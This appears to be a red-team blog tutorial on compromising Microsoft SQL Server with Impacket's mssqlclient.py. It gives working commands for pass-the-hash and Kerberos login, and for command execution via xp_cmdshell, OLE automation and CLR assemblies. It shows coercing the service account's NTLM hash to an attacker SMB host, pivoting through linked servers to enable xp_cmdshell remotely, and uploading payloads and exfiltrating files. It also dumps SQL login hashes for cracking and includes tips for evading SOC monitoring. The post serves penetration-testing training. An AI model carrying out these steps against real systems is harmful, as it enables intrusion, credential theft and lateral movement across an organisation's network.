Microsoft SQL Server (MSSQL) is more than just a place where applications store their data. In a Red Team engagement, an infected MSSQL server is often a critical pivot point. It runs with its own service credentials (often highly privileged), it talks to other servers via “Linked Servers,” and it has built-in features that allow for easy Remote Code Execution (RCE).

While typical admins interact with it via SQL Management Studio (SSMS) on Windows, we are going to use the surgical precision of Impacket’s mssqlclient.py.

In this guide, we will move beyond basic SELECT * queries. We will explore how to gain RCE using multiple techniques (not just the noisy xp_cmdshell), how to steal the service account’s hash without cracking a password, and how to hop from server to server across the enterprise using Linked Server abuse.

[!NOTE] Ensure you have Impacket installed: pipx install git+https://github.com/fortra/impacket.git


Part 1: Discovery - Finding the Target

Before you can use Impacket, you need to find the database. MSSQL typically listens on TCP port 1433. However, named instances can listen on dynamic ports.

Using Nmap for Initial Discovery

1
2
3
# Scan for the default MSSQL port
# The ms-sql-info script identifies version, auth types, and instance names.
nmap -p 1433 --script ms-sql-info,ms-sql-ntlm-info 192.168.1.0/24

The SQL Browser Service (UDP 1434)

If you see UDP port 1434 open, the SQL Browser service is active. This service acts like a DNS for SQL instances; it tells clients which TCP port a named instance is listening on. This is crucial if your standard 1433 scans come up empty.


Part 2: Authentication with mssqlclient.py

Impacket’s mssqlclient.py supports the full range of authentication protocols required for modern pivoting.

1. SQL Authentication (Database Level)

This uses a user defined inside the SQL database (like the default sa account). These users exist only in SQL, not in Active Directory.

1
2
# Syntax: user:password@host
mssqlclient.py sa:'Password123!'@192.168.1.100

2. Windows Authentication (Domain Level)

This is more common in Active Directory environments. You must use the -windows-auth flag to tell the tool to wrap the authentication in NTLM/Kerberos.

1
2
# Syntax: DOMAIN/user:password@host
mssqlclient.py CORP/jsmith:'Password123!'@192.168.1.100 -windows-auth

3. Pass-the-Hash (PtH)

If you’ve compromised a domain user’s NTLM hash, you don’t need the plaintext password.

1
2
# Syntax: -hashes LM:NT
mssqlclient.py -hashes :7c7b5e0a8d5d9c2409600d8f2898322c CORP/jsmith@192.168.1.100 -windows-auth

4. Kerberos Authentication (-k)

If you have a .ccache ticket file (stolen via Rubeus or generated via ticketer.py):

1
2
3
export KRB5CCNAME=/tmp/user.ccache
# Note: You MUST use the FQDN for Kerberos
mssqlclient.py -k -no-pass dc01.corp.local

Part 3: Achieving Remote Code Execution (RCE)

The holy grail. We want a shell. mssqlclient.py abstracts much of the complexity for us.

Method 1: xp_cmdshell (The Classic)

xp_cmdshell spawns a command shell process (cmd.exe) as the SQL Service account. It is the most reliable but also the most monitored method.

1
2
3
4
SQL> enable_xp_cmdshell
[*] Enabling xp_cmdshell ..
SQL> xp_cmdshell whoami
nt service\mssqlserver

[!WARNING] Enabling xp_cmdshell changes a global configuration setting (sp_configure) and generates Windows Event Log 15457. SOCs look for this.

Method 2: sp_oacreate (OLE Automation)

If xp_cmdshell is blocked or monitored, you can try OLE Automation procedures. This uses the COM object wscript.shell to execute commands. It is often less monitored than xp_cmdshell but requires the same sysadmin privileges.

1
2
3
SQL> enable_ole_automation
[*] Enabling OLE extended stored procedures...
SQL> sp_oacreate 'wscript.shell'

Method 3: CLR Assemblies (The Modern Way)

If the database has the TRUSTWORTHY property set, you can load a custom .NET assembly (DLL) into the database process memory and execute it. mssqlclient.py has a dedicated command to automate this:

1
2
3
# You need a compiled C# DLL that executes your payload
SQL> install_clr custom.dll
SQL> enable_clr

This effectively turns the SQL Server process into your C2 agent.


Part 4: Coerced Authentication (Stealing Hashes)

Sometimes you have access to the DB, but you are a low-privilege user and cannot run commands. However, you might still have execute permissions on xp_dirtree or xp_fileexist.

You can force the SQL Server service account (which is often SYSTEM or a high-privilege Domain User) to authenticate to a machine you control via SMB.

  1. Set up Responder or smbserver.py on your attacker machine (10.10.14.5).
  2. Execute the coercion on the SQL Server:
1
SQL> xp_dirtree '\\10.10.14.5\share\foo'
  1. Capture the Hash: Your listener will catch the NetNTLMv2 hash of the SQL Service account. You can then crack it or relay it using ntlmrelayx.py.

Part 5: Advanced Exploitation: Linked Servers

Linked Servers are the “trust relationships” of the database world. A DBA might link ProdDB to DevDB to make copying data easier. If you compromise DevDB, you might be able to query ProdDB.

Enumeration

1
SQL> SELECT * FROM sys.servers;

The Hop

If ServerA is linked to ServerB, you can execute queries on B from A using OPENQUERY.

1
SQL> SELECT * FROM OPENQUERY("ServerB", 'SELECT @@VERSION');

If ServerB is configured with RPC Out enabled (which is common), you can even enable xp_cmdshell on ServerB from ServerA context!

1
2
3
4
-- "Inception" style RCE: Enabling xp_cmdshell on the remote link
SQL> EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [ServerB];
SQL> EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [ServerB];
SQL> EXEC ('xp_cmdshell ''whoami''') AT [ServerB];

Impacket doesn’t automate the crawl, but manually constructing these queries allows you to pivot deeply without ever leaving your initial connection.


Part 6: File Transfer and Exfiltration

You don’t need to get RCE and use certutil to download files. mssqlclient.py has built-in helper functions to write files to the remote server using OLE/CLR methods, bypassing the need for outbound network connections from the victim.

1
2
3
# In the mssqlclient shell
SQL> upload local_payload.exe C:\Windows\Temp\payload.exe
SQL> download C:\Users\Administrator\Desktop\flag.txt local_flag.txt

This is incredibly stealthy compared to standard curl/wget commands on the victim, as the traffic is encapsulated within the TDS (Tabular Data Stream) protocol on port 1433.


Part 7: Finding Sensitive Data

Don’t forget the actual data! You are in a database, after all.

Listing Databases

1
SQL> SELECT name FROM sys.databases;

Searching for “Password” Columns

1
2
-- Search all tables in the current DB for columns named like 'pass'
SQL> SELECT t.name AS TableName, c.name AS ColumnName FROM sys.tables t JOIN sys.columns c ON t.object_id = c.object_id WHERE c.name LIKE '%Pass%';

Extracting SQL User Hashes

If you are sysadmin, you can dump the hashes of other SQL users:

1
SQL> SELECT name, password_hash FROM sys.sql_logins;

Crack these with Hashcat Mode 1731 (MSSQL 2012/2014).


Conclusion

mssqlclient.py transforms SQL injection/interaction from a data-retrieval task into a full system compromise workflow. Whether you are using xp_cmdshell for a quick win, coercing hashes via xp_dirtree to escalate, or hopping through Linked Servers to reach the Domain Controller, this tool is essential.

Remember: SQL Servers are rarely patched as often as OSs, and they are frequently configured with excessive privileges “just to make it work.” Use that to your advantage.

Happy Hacking.


References